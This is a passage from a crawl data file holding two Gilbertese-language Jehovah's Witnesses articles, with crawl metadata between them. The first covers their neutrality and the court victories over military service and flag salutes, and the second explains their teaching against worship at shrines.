n teimatoa n tei i nuka ni kaineti ma waakin nako te tautaeka n te aonnaba. E riki katiteuanaakira bwa te bwai ni kakoaua bwa e a kairiri ana Tautaeka n Uea te Atua ao e teimatoa te Uea ae Iesu Kristo ni kairiia, ni katamaroaia, ao ni kamanoia ana aomata. Iangoa arona ni karaoa anne, ao nori naba tabeua totokanikaira n te boowi aika kakorakoraa te onimaki ake e a tia ni karekei nakoira ngkai ti teimatoa n \"aki arona aroia kaain te aonnaba.\"\nTe Boto n Reirei ae Kamatataaki\n3, 4. (a) Baikara baika riki n te tai are e bungiaki iai te Tautaeka n Uea? (b) Te koaua bwa a kaman ota raoi ana aomata te Atua ni kaineti ma te tei i nuka? Kabwarabwaraa.\n3 Imwini bungiakin te Tautaeka n Uea ao e a boo te buaka i karawa ao e a tewenakoaki Tatan nakon te aonnaba. (Wareka Te Kaotioti 12:7-10, 12.) E boo naba te buaka n te aonnaba, are e a kataaki iai nanomatoaia ana aomata te Atua. A nanomwaaka ni kakairi n ana katoto Iesu ao n aki arona aroia kaain te aonnaba. Ma n te moantai ao a aki bati n ota bwa tera raoi ae nanonaki ibukia, n ae a na kararoaia mani waakin nako te tautaeka.\n4 N te katoto, a kaungaaki Kristian bwa a na aki ira te buaka n te boki ae rereitaki ae te Millennial Dawn Volume VI, * ae boreetiaki n 1904. Ma e kamatataaki iai bwa ngkana e kairoroaki te Kristian bwa e na ira te taanga ni buaka, e riai ni kataia ni karekei mwioko tabeua aika aki irekereke ma te tiritiri. Ngkana e aki kona n reke anne ao e kanakoaki bwa e na buaka, e riai n taraia raoi bwa e na aki tiritiri. E taekina te bae riki n te tai anne Herbert Senior ae maeka i Buritan ao ni bwabetitoaki n 1905, ni kangai: \"A bati baike a aki ota iai taari, ao akea te reirei ni kairiri ae mataata raoi ae kaotia bwa e eti ke e aki irakin te taanga ni buaka iroun te Kristian ma e na aki tiritiri.\"\n5. E kangaa ni moani katamaroaaki otara n Te Taua-n-Tantani ae bwain Tebetembwa 1, 1915?\n5 Ma e a katamaroaaki otara i aon aei n Te Taua-n-Tantani ae bwain Tebetembwa 1, 1915. E taekinaki n te Studies in the Scriptures ae kangai: \"Ti iangoia bwa e uruaki ara boto n reirei ni Kristian ngkana ti kaaina te taanga ni buaka ibukini karaoan te mwakuri ae ko aki karaoa iai te tiritiri.\" Ma tera aron te Kristian ngkana e a kakamaakaki bwa e na katiiaki ngkana e aki butimwaea te kaboraoi ke te mwakuri n tautia? E kamatataaki n te kaongora anne ni kangai: \"Tiaki e raoiroi riki ngkana ti katiiaki ibukini kakaonimakira ni koaua nakon te Natinuea ae Karekea te Rau, ao ibukin ongeabara n Ana tua, nakon ae ti na katiiaki i nanon ara tai ni mwakuri irouia uean aonnaba ao ni boutokaiia, ike ti a taraaki iai bwa ti a kamemeerea kakawakin ana reirei nako ara Uea are i Karawa? Man taiani mate aika uoua aikai, ao e raoiroi riki are te moan, ae te mate ibukin te kakaonimaki nakon ara Uea are i Karawa.\" N aki ongea te kabwarabwara ae matoa aei, ma e motikaki ni kangai n te kaongora aei: \"Ti aki kairoroa karaoan aei ma ti bon tii kaota ara iango iai.\"\n6. Tera reireiam man ana katoto Brother Herbert Senior?\n6 A ota raoi tabeman taari iai ao a tauraoi ni kaaitarai baika a na riki nakoia. E taku Herbert Senior are mwaneweaki mai mwaina: \"Irou akea te kaokoro n te boto n reirei ibukini kannaani kanoani katii man te kaibuke [ae te mwakuri ae aki karaoaki iai te buaka] ao kanimwani kanoa akanne n te katii.\" (Ruka 16:10) E kabureaki Brother Senior ibukina bwa e rawa n ira te buaka ibukini mataniwin nanona. E katikaki ma 4 riki taari mwaane i buakoia 16 ake a rawa n ira te buaka ibukini mataniwin nanoia, n ikotaki ma mwaane man Aaro tabeua ake a a tia ni kabureaki tabeua te tai n te karabuuti ae te Richmond i Buritan, ao a a kinaaki imwina riki bwa te koraki aika te Richmond 16. N te tai teuana ao Herbert ao tabeman riki ake titeboo aroia ma ngaia, a karabaaki n uotaki nakon te tabo ni buaka i Buranti. Ikanne are e a baireaki iai bwa a na katiiaki. E kateaki n te rain ma tabeman i mataia tautia aika kakatii, ma a bon aki kamateaki. N oneani mwin anne, e bitaki te moti man te kamateaki nakon te kabureaki i nanon tebwina te ririki.\n7. Tera are a ota iai ana aomata te Atua n tain te Kauoua ni Buaka Are Kabutaa Aonnaba?\n7 N te tai are e moanaki iai te Kauoua ni Buaka Are Kabutaa Aonnaba, ao a a ota raoi riki iai ana aomata Iehova n ae nanonaki n te tei i nuka ao n te bae kainnanoaki ngkana a na kakairi n ana katoto Iesu. (Mat. 26:51-53; Ioa. 17:14-16; 1Bet. 2:21) N te katoto, e kaotaki n te kaongora ae rangi ni kakawaki ae atuna \"Te Tei i Nuka,\" n Te Taua-n-Tantani ae bwain Nobembwa 1, 1939, ae kangai: \"Te tua ae a riai ni kairaki iai ana aomata ngkai Iehova, bon te tei i nuka i marenaia natannaomata n tain te buaka.\" E taku Simon Kraker ae beku imwina riki ni kautun ara botaki i Brooklyn i New York ni kaineti ma te kaongora anne: \"I a ataia bwa a riai ni karekea te rau ana aomata te Atua ma aomata nako, e ngae naba ngkana a mena i buakon te buaka.\" E roko raoi n taina te amwarake n taamnei anne ao a buokaki iai ana aomata te Atua n tauraoi imwaini kataakin aia kakaonimaki ni koaua nakon te Tautaeka n Uea.\nA Kakamaakaki ni \"Karaangan\" te Kakaaitara\n8, 9. E kangaa ni kakororaoaki ana taetae ni burabeti te abotoro Ioane?\n8 E taetae ni burabetinna te abotoro Ioane bwa imwini bungiakin te Tautaeka n Uea n 1914, ao e nang kataia te rakon are Tatan te Riaboro ni kamaunaia taani boutokaa ana Tautaeka n Uea te Atua, n arona ni katiinakoa te karaanga mai wina n te aro ni kaikonaki. * (Wareka Te Kaotioti 12:9, 15.) E kangaa ni kakororaoaki ana taetae ni burabeti Ioane? Man 1920 tabun ao e waekoa n rikirake kakaitaraaia ana aomata te Atua. E katikaki ni kamatawarikaki Brother Kraker ibukini kakaonimakina ni koaua nakon ana Tautaeka n Uea te Atua, n aroia naba taari aika bati ake a maeka i Amerika Meang n tain te kauoua ni buaka n te aonnaba. N tain te buaka anne ao mwaitiia Ana tia Kakoaua Iehova e bon raka i aon uoua katenimwakoroni mwaitiia naake a kabureaki bwa a aki ira te buaka bwa e aki boraoi ma aia onimaki, ake a karabuutinaki n te United States.\n9 E tangiria te Riaboro ma raona nako bwa a na urua etin aroia ana aomata te Tautaeka n Uea n aki ongeia bwa a maeka ia. A bati ake a maeka i aon Aberika, Eurobe, ao te United States, aika a kairaki nako matan taiani boowi. Ibukin nanomwaakaia n tei i nuka ao a a kamatawarikaki, a batiboaki, ao a kaikoakaki. A kaaitara ana aomata te Atua i Tiaman ma te karawawataaki ae korakora ibukin rawaia ni karinea Hitler ke n ira te buaka. E katautauaki bwa iai 6,000 ake a kainaki n te karabuuti n taabo ake a kammwakuraki iai buure n tain te Nazi, ao e raka i aon 1,600 taani Kakoaua aika I-Tiaman ao aika tiaki I-Tiaman ake a mate i aani baia naake a bwainikirinia ni kammarakiia. Ma e bon aki kona ni kauekea te iowawa ae teimaan te Riaboro nakoia ana aomata te Atua.\nE Onga \"te Karaanga\" \"Aontano\"\n10. E tei ibukin tera \"aontano,\" ao e kangaa ni buokiia ana aomata te Atua?\n10 E kaotaki n te taetae ni burabeti are e koreia te abotoro Ioane, bwa e na buokiia ana aomata te Atua \"aontano\" ae taekaia kaain te aonnaba aei aika aki imanono, n arona n onga te bwainikirinaki ae ai aron \"te karaanga.\" E kangaa n tia ni kakororaoaki iteran te taetae ni burabeti aei? Tatabebwi te ririki imwin te Kauoua ni Buaka Are Kabutaa Aonnaba ao e teimatoa \"aontano\" ni buokiia taani boutokaa te Tautaeka n Uea iroun te Mesia, aika kakaonimaki. (Wareka Te Kaotioti 12:16.) N te katoto, a bati boowi aika korakora mwaakaia aika kamanoa inaomataia Ana tia Kakoaua Iehova ibukin rawaia n riki bwa tautia ao ibukin rawaia n irii bukamaru ibukin te aba. Iangoi moa tokanikai tabeua aika bubura ake e a tia Iehova n angania ana aomata ni kaineti ma te mwakuri n tautia.\n11, 12. Baikara aia kangaanga Brother Sicurella ao Thlimmenos, ao tera mwina?\n11 Te United States. E kaikawaaki Anthony Sicurella ma tarina ao mwaanena aika niman irouia aia karo aika taani Kakoaua. E bwabetitoaki Anthony ngke 15 ana ririki, ao ngke ai 21 ana ririki ao e a karina arana n te botaki ae tabe ma rineaia aomata aika a na riki bwa tautia. E kaotia nakoia bwa bon te minita ngaia. Imwin uoua te ririki n 1950 ao e a bubutii manga karinan arana i buakoia te koraki aika aki kan riki bwa tautia ibukini mataniwin nanoia. E ngae ngke akea te kangaanga ae e kunea te Federal Bureau of Investigation ma e aki butimwaeaki ana bubutii n te Aobiti ibukin te Kaetitua. Imwini boboowi tabeua ao e a ongoraeaki ana keiti Brother Sicurella n te Boowi ae Moan te Rietata n te U.S., ao e a bita ana moti te boowi are i nano n irana Brother Sicurella. E riki te moti aei bwa te bwai n ibuobuoki nakoia kaain te United States tabemwaang ake a rawa n riki bwa tautia ibukini mataniwin nanoia.\n12 Kuriiti. N 1983 ao e a bukinaki ni bure Iakovos Thlimmenos bwa e aki ongeaba n te babaire ngke e rawa ni bwaina te kaboraoi n tautia ao e a kabureaki. Imwini kabwaraana ao e a kabaea arana n te nakoa ae te tia karaoa te akaunti ma e aki butimwaeaki kioina ngkai iai mwin ana bure ae e a tia ni karaoia. E uota tangina nakon te boowi, ma imwini konaakin ana keiti n te boowi i Kuriiti ao e a manga kabaea tangina n te European Court of Human Rights (ECHR). N 2000 ao e a iranaki n te Grand Chamber n te ECHR, ae kaainaki irouia 17 taani moti are a katea iai te bwai ni kakairi ibukin totokoan te kakaokoroaki. Imwain otinakon te moti ao e riaon 3,500 taari i Kuriiti ake iai mwin aia bure ake a a tia ni karaoi kioina ngke a kabureaki ibukin teia i nuka. Imwin otinakon te moti ae tamaroa aei ao e a kabwaata te tua Kuriiti ae a na kamaunaaki baarekaia taari ake a bukinaki iai. A kainaomataaki naba kaaini Kuriiti ni kabane n te tua aei, bwa a na waakin aia waaki aika tiaki te buaka are e kabwaataki tabeua te ririki n nako, ao e a manga kamatoaaki ngke e a rinanoaki te Tua ni Kuriiti.\n13, 14. Baikara reirei aika ko iangoia bwa ti kona n reireiaki iai man aia keiti Ivailo Stefanov ao Vahan Bayatyan?\n13 Bulgaria. N 1994 ao ai bon 19 ana ririki Ivailo Stefanov ngke e karinaki n te taanga ni buaka. E rawa ni kaaina te taanga ni buaka ke ni karaoi naba mwakuri aika tiaki te buaka ake e tua te botaki n tautia. E kabureaki i nanon 18 namwakaina ma e a uotaarake ana mangatang ibukin te babaire anne, ni kaineti ma riaina n rawa n ira te buaka ibukini mataniwin nanona. N tokina ao e a uotaki ana keiti nakon te ECHR. N 2001 ao e a roko irouni Brother Stefanov te reta ae karaunano kanoana imwain ae e ongoraeaki ana keiti. E aki tii kabwarabure te tautaeka ni Bulgaria nakoni Brother Stefanov ma bon nakoia naba kaaini Bulgaria ni kabane ake a kani karaoa te mwakuri ae tiaki te buaka. *\n14 Armenia. E a roko Vahan Bayatyan n te roro are e a riai i aan te tua n riki bwa te tautia n 2001. * E kairaki ni mataniwin nanona bwa e na rawa nakon te mwakuri n tautia, ma a aki totokanikai ana mangatang ni boowi ake i nano. N Tebetembwa 2002 ao e a kabureaki ike e na kabanea iai uoua ma te iterana te ririki, ma e kabwaraaki imwini banen tebwina ao te iterana te namwakaina. N te tai anne ao e a uotaarake ana mangatang nakon te ECHR, are e a ongoraeaki iai ana keiti. Ma n Okitobwa 27 n 2009 ao e a otinako ana moti te Boowi ni kaitaraa teuaei. E taraa n ae aei bon te konaaki ae korakora nakoia taari i aon Armenia ake a boo ma te kangaanga aei. Ma e a manga rinanoa te moti aei te Grand Chamber n te ECHR. N Turai 7 n 2011 ao e a kaotinakoa ana moti te Boowi n irana Vahan Bayatyan. Aei te moantai are e a noria iai te ECHR bwa rawan temanna n ira te buaka ibukini mataniwin nanona ae boto i aon ana koaua n ana Aro, e bon riai ni kamanoaki ni kaineti ma te inaomata n iango, te inaomata n ira te mataniwinnano, ao inaomatan te Aro. E aki tii kamanoaki inaomataia Ana tia Kakoaua Iehova n te moti anne, ma a kamanoaki naba iai bubua ma bubua te mirion aomata ake n aaba ake a kaaina te botaki ae te Council of Europe. *\nTe Kangaanga ni Kaineti ma Bukamaru Ibukin te Aba\n15. A aera ana aomata Iehova ngke a rawa ni boutokai bukamaru ibukin te aba?\n15 A teimatoa ni kakaonimaki ni koaua ana aomata Iehova nakon te Tautaeka n Uea iroun te Mesia, tiaki tii n aroia n rawa nakon te mwakuri n tautia, ma n aroia naba n aki boutokai bukamaru ibukin te aba. Man te tai are moanaki iai te Kauoua ni Buaka Are Kabutaa Aonnaba, ao e a korakora riki namakinan te nano n aba ni kabutaa te aonnaba. A kantaningaaki kaain te aba n aaba aika mwaiti bwa a na kakaonimaki nakon aia taetae ni bau ibukin abaia n aroia n taekina aia berita, n anenea kunan abaia, ke n tiaruuti nakoni buraekin abaia. Ma ngaira bon tii Iehova ae ti taromauria. (TeOti. 20:4, 5) Ibukin anne ao ti a rinanon te bwainikirinaki ae bati. Ma e a manga kabongana naba Iehova \"aontano\" n ongi tabeua waaki ni kakaaitara. Nori tii tabeua mai buakon taian tokanikai aika rianako n te itera aei, ake e anganira Iehova rinanoni Kristo.\n16, 17. Tera te kangaanga are a kaitiboo ma ngaia Lillian ao William Gobitas, ao tera reireiam man aia keiti?\n16 Te United States. E kanakoa ana moti te Boowi ae Moan te Rietata n te U.S. n 1940. Taani moti aika 8 a kaaitaraia Ana tia Kakoaua Iehova, ao 1 e irania n te keiti ae ataaki bwa te Minersville School District ni kaitaraa Gobitis. E tangiria Lillian Gobitas * ae 12 ana ririki ma mwaanena ae William ae 10 ana ririki, n teimatoa ni kakaonimaki ni koaua nakon Iehova, ngaia are a rawa n tiaruuti nakon te buraeki ke n taekina te berita. Ibukin anne ao a kabaneaki man aia reirei. E uotaki aia keiti nakon te Boowi ae Moan te Rietata, ao e a anga ana moti te Boowi bwa e eti ana waaki te reirei i aan tuan te aba kioina ngkai te moti anne \"e boutokaa katiteuanaakia kaain te aba.\" E kauekei bwainikirinaki aika korakora te moti anne. A a bati riki ataei aika taani Kakoaua ake a kabaneaki man te reirei, taani Kakoaua aika bua aia mwakuri, ao a mwaiti naba ake e korakora te mwakuri n akiako nakoia mairouia taan iowawa. E kaotaki n te boki ae The Lustre of Our Country bwa \"bwainikirinaia taani Kakoaua man 1941 nakon 1943, bon te kabanea ni korakora ni kairiribai ibukin te Aro n te kauabwi n tienture i Amerika.\"\n17 E aki teimaan tokanikaia taani kairiribai nakon te Atua. N 1943 ao e a rinanoaki n te Boowi ae Moan te Rietata te keiti riki teuana ae titeboo ma te keiti are te Gobitis. E ataaki n arana ae West Virginia State Board of Education ni kaitaraa Barnette. N te tai aei ao e a anga te tokanikai te Boowi ae Moan te Rietata nakoia Ana tia Kakoaua Iehova. Ai bon tibwa te moantai n te U.S. ae e bita iai ana moti te Boowi ae Moan te Rietata i nanon te tai ae uarereke. Imwin otinakon te moti anne ao e a waekoa naba ni kerikaaki bwainikirinaia ana aomata Iehova n te United States. N te boowi anne ao e a kamatoaaki iai inaomataia kaain te aba ni kabane n te United States.\n18, 19. Tera are e taekinna Pablo Barros are e buokia n teimatoa ni kakorakoraa, ao a na kangaa ana toro Iehova tabeman riki ni kakairi n ana katoto?\n18 Argentina. N 1976 ao a kabaneaki man aia reirei Pablo ae wanua ana ririki ao Hugo Barros ae itiua ana ririki, kioina ngke a rawa n ira bukamaruan irakean te buraeki. N te taina ao te mataniwi n te reirei ae te aine e ineakina Pablo ao e orea atuna. E katikuia ataeinimwaane aikai i nanon teuana te aoa imwin te reirei, ao e kataia n taumatoaiia bwa a na irii bukamaru ni kaineti ma te nanonnaba. E uringa te kataaki anne Pablo ao e taku: \"Ngke arona bwa akea ana ibuobuoki Iehova ao I aki kona n tokanikai i aoni kaririakiu ae N na urua etin arou.\"\n19 Ngke e a roko te keiti n te boowi ao e a karaoa ana moti te tia moti n irana te reirei bwa a na kabaneaki Pablo ao Hugo. Ma e a manga uotakirake aia keiti nakon te Boowi ae Moan te Rietata i Argentina. N 1979 ao te Boowi anne e a bita ana moti te boowi are i nano, ni kangai: \"Te tuuaa are baireaki [ae te kabaneaki] e bon ekaanako tuan te inaomata n reirei (Roki 14) ao taben naba Amerika ae kaungaan te reirei ae te moanrinan (Roki 5).\" Tao 1,000 ataei aika taani Kakoaua ake a kakabwaiaaki man te tokanikai anne. E kamaunaaki kabaneaia tabeman ao tabeman riki ataei n aroia Pablo ao Hugo, a a manga karinaki n ana reirei te tautaeka.\n20, 21. E kangaa ni kakorakoraaki am onimaki n aia keiti Roel ao Emily Embralinag?\n20 Biribin. N 1990 ao a a kabaneaki man te reirei Roel Embralinag * ae 9 ana ririki ma mwaanena ae Emily ae 10 ana ririki, ao tao 66 riki ataein te kuura aika taani Kakoaua, kioina ngke a aki tiaruuti nakon te buraeki. E kataia taman Roel ao Emily ae Leonardo ni kabwarabwaraa bukina nakoia taani kairiri n te reirei, ma e matebuaka. Ngke e a rangi ni korakora te kangaanga ao e a kabaea tangina Leonardo nakon te Boowi ae Moan te Rietata. Akea ana mwane Leonardo ao akea naba te rooia ae e na tei ibukina. A kakorakoraia n tataro kaain te utu aei ibukin ana kairiri Iehova. N te tai anne ao a a bwabwainingareaki ao ni kakanikoaki natiia. E iangoia Leonardo bwa e aki kona n tokanikai ana keiti ibukina bwa akea rabakauna n rooia.\n21 Ma te bwai ae riki bwa e a tei te rooia ae Felino Ganal ibukin te utu aei, ae e mwakuri ngkoa n te kambwana n rooia teuana ae rangi ni kinaaki i aoni Biribin ibukin nakoraoin ana waaki. E a bon tia ni butiaaina man te kambwana anne Brother Ganal n te tai are e ongoraeaki iai te keiti anne, ao e a riki bwa temanna Ana tia Kakoaua Iehova. Ngke e a roko te keiti anne n te Boowi ae Moan te Rietata, ao e a karaoa ana moti te boowi n irania taani Kakoaua ao ni kamauna te tuuaa ae te kabaneaki. A a manga aki naba tokanikai naake a kataia n urua etin aroia ana aomata te Atua.\nTe Tei i Nuka ae Karekea te Katiteuanaaki\n22, 23. (a) E aera ngkai e rangi ni bati tokanikaira n te boowi? (b) E riki bwa te bwai ni kakoaua n tera ara botaki n itaritari ae rau ni katobibia te aonnaba?\n22 Bukin tera ngkai e rangi ni bati tokanikaia n te boowi ana aomata Iehova? Ti aki irekereke ma ana waaki te tautaeka. Ma e ngae n anne, a a tia taani moti aika aki inanonano n te aba teuana ma teuana ni kamanoira n tain te boowi teuana ma teuana mairouia naake a kakorakoraia ni kakaaitaraira. Ni karaoan anne ao a karaoi mooti aika riki bwa bwaai ni katoto ni kaineti ma te oi n tua n te aba. Akea te nanououa bwa boni Kristo ae boutokai ara kakorakora ni karekean tokanikai akanne. (Wareka Te Kaotioti 6:2.) Bukin tera ngkai ti teetei n te boowi? Tiaki ibukina bwa ti kani bita tuan te aba. Ma tiara boni karekean te anga ae ti na teimatoa ni beku iai iroun ara Uea ae Iesu Kristo, n akea tukara.\n23 E a tia ara Uea ae Iesu Kristo ni kakabwaiaa aia kakorakora taan rimwina ni katobibia te aonnaba bwa a na teimatoa n tei i nuka, n te aonnaba ae bwenaua ibukin te kakaiangatoa irouia tautaeka ao te kairiribai. E aki tokanikai ana kakorakora Tatan ni kataia ni kamaenakoira ao ni kataenikaira. E a tia te Tautaeka n Uea n ikotiia mirion ma mirion ake a rawa n \"reireinia te buaka.\" Bon te kakai ara botaki n itaritari ae rau ni katobibia te aonnaba, ao e a riki bwa te bwai ni kakoaua ae e aki kona ni kakeweaki bwa e a boni kairiri ana Tautaeka n Uea te Atua!\n^ bar. 4 E ataaki naba te boki aei n atuna ae The New Creation. Imwina riki ao e aranaki te boki ae te Millennial Dawn bwa Studies in the Scriptures.\n^ bar. 8 Ibukini maroroakinan te taetae ni burabeti aei, nora te boki ae Revelation\n^ bar. 13 E kabaeaki n te tua te Tautaeka ni Bulgaria bwa e na angania aomata ake a rawa n irekereke ma te buaka ibukini mataniwin nanoia, te mwakuri riki teuana ae ibukin te botannaomata ae aki irekereke ma te buaka, ae baireaki iroun te tautaeka ao tiaki iroun te botaki n tautia.\n^ bar. 14 Ibukin rongorongona riki ae bwanin, nora te kaongora n Te Taua-n-Tantani ae bwain Nobembwa 1, 2012, iteraniba 29-31 n te taetae n Ingiriti.\n^ bar. 14 E a riaon 20 te ririki maanin te tautaeka n Armenia ni kakamatawarikiia taani Kakoaua aika rooro n rikirake aika raka i aon 450. N Nobembwa 2013 ao a kabwaraaki man te karabuuti nikiraia mwaane akanne.\n^ bar. 16 E bure korean aran te utu aei n te boowi.\n^ bar. 20 E bure korean aran te utu aei n te boowi, bwa e koreaki bwa Ebralinag.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/uea-te-atua\/tokanikai\/kakaonimaki-nakon-ana-tautaeka-te-atua\/","date":"2018-03-22T08:50:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647782.95\/warc\/CC-MAIN-20180322073140-20180322093140-00647.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":4035,"character_repetition_ratio":0.059,"word_repetition_ratio":0.002,"special_characters_ratio":0.232,"stopwords_ratio":0.454,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NI KATOA ririki, ao e raka i aon onoua te mirion aomata aika mwananga nakoni buakonikaini kaai aika tiira ae raroa nako i Shima i Peninsula i aon Tiaban. A kawara te tabo ae rangi ni buburakaei i Ise ae tatromauriaki iai atuaia kaain te Shinto ae Nei Amaterasu Omikami, i nanon tao uoua te nga te ririki. A kaitiakiia moa taan taromauri n aroia n teboki baia ma wia. Imwina a tei i matan ana tabo te bouannanti n taromauriaki, a katotonga te katei n taromauri ike a bobaraaki iai, a uboubo ao a tataro nakon atuaia anne. * A kariaiakaki kaain te Aro ae te Shinto n irii Aaro riki tabeua, ao Aaro ni Buddhist tabeua, Aaro ake a taku bwa Kristian ngaiia, ao tabemwaang a noria bwa akea te kauntaba ni karaoani kateia kaain te Aro ae te Shinto n aia tabo bouannanti aei.\nIai aia tabo ni bouannanti * Aaro aika bubura n te aonnaba, ao e aikoa kona ni warekaki mwaitiia aomata aika roroko iai. N aaba ake a taku bwa Kristian ngaiia, a rangi ni bati umwantabu ao taabo ni bouannanti aika katabuaki ibukin Iesu, Maria, ao taian santo. A kateaki tabeua n taabo ake a riki iai baika a karakinaki n te Baibara, ke n taabo ake a tibwa riki iai aongkoa taiani kakai, ke n taabo ake a kawakinaki iai baika tabu aika bwain te Aro. A bati aomata aika kawari taabo ni bouannanti ibukina bwa a kakoauaa ae a kai ongoraeaki riki aia tataro n taabo aika tabu. Irouia tabemwaang, ngkana a roko n aia tabo bouannanti ai bon anne tokini mwanangaia ae abwabwaki are a a tia ni karaoia ni kaota iai tangiran aia Aaro.\nA kai ongoraeaki riki ao ni kaekaaki tataro ao bubutii n aia tabo bouannanti? E na kukurei te Atua n aia taromauri naake a mwananga nakon aia tabo bouannanti? Ma ae kakawaki riki, a riai Kristian n taromauri n aia tabo bouannanti? E na aki tii tuangira arora ae riai n iangoa taromauriani bouannanti kaekaan titiraki aikai, ma e na buokira naba n ataa te aeka n taromauri ae e kakukureia raoi te Atua.\nTAROMAURIA \"N TE TAAMNEI AO N TE KOAUA\"\nE kaotaki ana iango te Atua ibukin te taromauri n taabo aika tabu ke aia tabo bouannanti n ana maroro Iesu ma ainen Tamaria. E mwananga Iesu rinanon Tamaria ao e motirawa n te mwanibwa ae mena i rarikin te kaawa ae Tukara. E moana ana maroro ma te aine are roko n itiran n te mwanibwa. Ngke a maroro, ao e a mwanewea naba neiei te kaokoro ae korakora i marenan te I-Iutaia ma te I-Tamaria. E taku: \"A tataromauri ara bakatibu n te maunga aei, ma kam taku ngkami bwa Ierutarem bon te tabo ae a riai aomata n taromauri iai.\"\nTe maunga are e nanonna neiei bon te Maunga ae Keritim, ae mena tao 50 te kiromita i meangin Ierutarem. Iai ngkoa aia tembora I-Tamaria ikanne are a bubukamarui boong n toa n aron te Toa ae te Riao. Ma e aki kaatuua ana iango Iesu i aon te maroro ibukin te kakaokoro i marenaia ma e taku nakon te aine: \"Neiko kakoauaai, bwa e na bon roko te tai are kam nang aki taromauria iai te Tama n te maunga aei ke i Ierutarem.\" (Ioane 4:21) Ai kamimira te taeka aei moarara riki ngkai e taekinna te I-Iutaia! E aera bwa e na mauna te taromauri n ana tembora te Atua i Ierutarem?\nE tomaia riki Iesu ni kangai: \"E a roko ngkai te tai, are a nang taromauria iai te Tama n te taamnei ao n te koaua, taan taromauri ni koaua, bwa e ukoukoriia aekaki n aomata aikai te Tama bwa a na taromauria.\" (Ioane 4:23) I nanon ririki aika bati, ao a iangoa te tembora ae rianako are i Ierutarem I-Iutaia bwa nibwan aia taromauri. A mwamwananga nako iai tentai n te ririki bwa a na angakarea nakon Atuaia, ae Iehova. (Te Otinako 23:14-17) Ma e taekinna Iesu bwa a na bane ni bitaki baikai ao \"taan taromauri ni koaua\" a na taromauri \"n te taamnei ao n te koaua.\"\nE kai noraki tein aia tembora I-Iutaia n te tabo ae okoro. Ma bon akea rabwatan te taamnei ao te koaua, ao a aki naba onoti nakon te tabo teuana. Ngaia are e kabwarabwaraa Iesu bwa e aki boto aia taromauri Kristian ni koaua ke ni kainnanoa te bwai ae iai rabwatana ke te tabo bwa tao te Maunga ae Keritim, te tembora i Ierutarem, ke te tabo ae tabu riki teuana.\nN ana maroro Iesu ma ainen Tamaria, ao e mwanewea are e a \"roko\" te \"tai\" ibukin te bitaki aei n taromaurian te Atua. N ningai te tai anne? E roko te tai anne ngke e katoka aia waaki n taromauri I-Iutaia ae boto i aon te Tua Rinanoni Mote, Iesu ni matena bwa te karea. (I-Rom 10:4) Ma e taku naba Iesu: \"Ngkai te tai.\" Bukin tera? Ibukina bwa ngkai te Mesia ngaia, e a kamani botiia taan rimwina ake a na ongeaba n ana tua are e taekinna imwina ni kangai: \"Bon te Taamnei te Atua, ao a riai akana taromauria, n taromauria n te taamnei ao n te koaua.\" (Ioane 4:24) Ma tera ngkanne nanon te taromauri n te taamnei ma te koaua?\nN taekinan te taromauri n te taamnei iroun Iesu, e bon nanona iai te kairaki n te taamnei ae raoiroi mairoun te Atua, ao i buakoni bwaai ake tabeua riki e kawakini ara atatai i aon te Baibara. (1 I-Korinto 2:9-12) Ao te koaua are e nanonna Iesu bon te atatai ae eti n ana reirei te Baibara. Ngaia are n oneani mwin are e na karaoaki te taromauri n te tabo ae okoro, e na boni kukurei te Atua n ara tataro ngkana e boraoi ma ana reirei te Baibara ao ni kairaki n te taamnei ae raoiroi.\nANA IANGO TE KRISTIAN IBUKIN AIA TABO BOUANNANTI\nTera ngkanne ana iango ae riai te Kristian ibukini kakawaran aia tabo bouannanti ao te taromauri iai? Iangoa ana tua Iesu ae a riai taan taromauri ni koaua n taromauria te Atua n te taamnei ma te koaua. E mataata bwa e bon aki kakawaki iroun Tamara are i karawa te taromauri ae karaoaki n aia tabo bouannanti ke te tabo ae tabu. Irarikina, e tuangira te Baibara aron ana iango te Atua ibukini karinean taromauriani bouannanti. E taku: \"Birinako man taromauriani boua\" ao \"kawakiningkami mani bouannanti.\" (1 I-Korinto 10:14; 1 Ioane 5:21) Ngaia are, e na aki taromauri te Kristian ni koaua n te tabo teuana ae iangoaki bwa e tabu ke ae kaungaa taromauriani bouannanti. Ibukini ngkanne aia tabo bouannanti, a rarawa Kristian ni koaua n taromauri n taabo akanne.\nMa e aki nanonaki n aei bwa e katabuaki n Ana Taeka te Atua tangiran te tabo teuana ibukin te tataro, te reirei ke kananoan te iango. Te tabo ni botaki ae baireaki raoi ao ni karineaki, e bon tau ibukin te reirei ao maroroakinani bwaai n taamnei. E aki bure naba karaoan te kanuringa n aron atibun ruanimaten te aomata ae mate. Tao bon tii te taetae ibukin ururingan ke tangiran te aomata ae mate. Ma boni kaitaraan raoi ana taeka Iesu iaiangoan te aeka n tabo anne bwa e tabu ke karineaia taamnei ke katei n taromauri.\nKo bon aki riai ni kawari aia tabo bouannanti ibukini kantaningaan ae e kai ongo am tataro te Atua mai ikanne. E aki naba kukurei te Atua iroum ke n anganiko kakabwaia aika okoro ngkana ko mwamwananga nakon aia tabo bouannanti. Ti tuangaki n te Baibara bwa Iehova ae te Atua, boni ngaia \"Ueani karawa ma aonnaba ae e aki mamaeka i nanon tembora aika karaoaki ni baia aomata.\" Ma tiaki nanon anne bwa ti a kararoaaki ma te Atua. Ti kona n tataro nakoina ao n ongoraeaki n taabo nako ibukina bwa \"e bon aki raroa mairoura n tatabemanira nako.\"","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-na2-2016-maati\/shrines\/","date":"2018-03-21T23:21:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647706.69\/warc\/CC-MAIN-20180321215410-20180321235410-00653.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 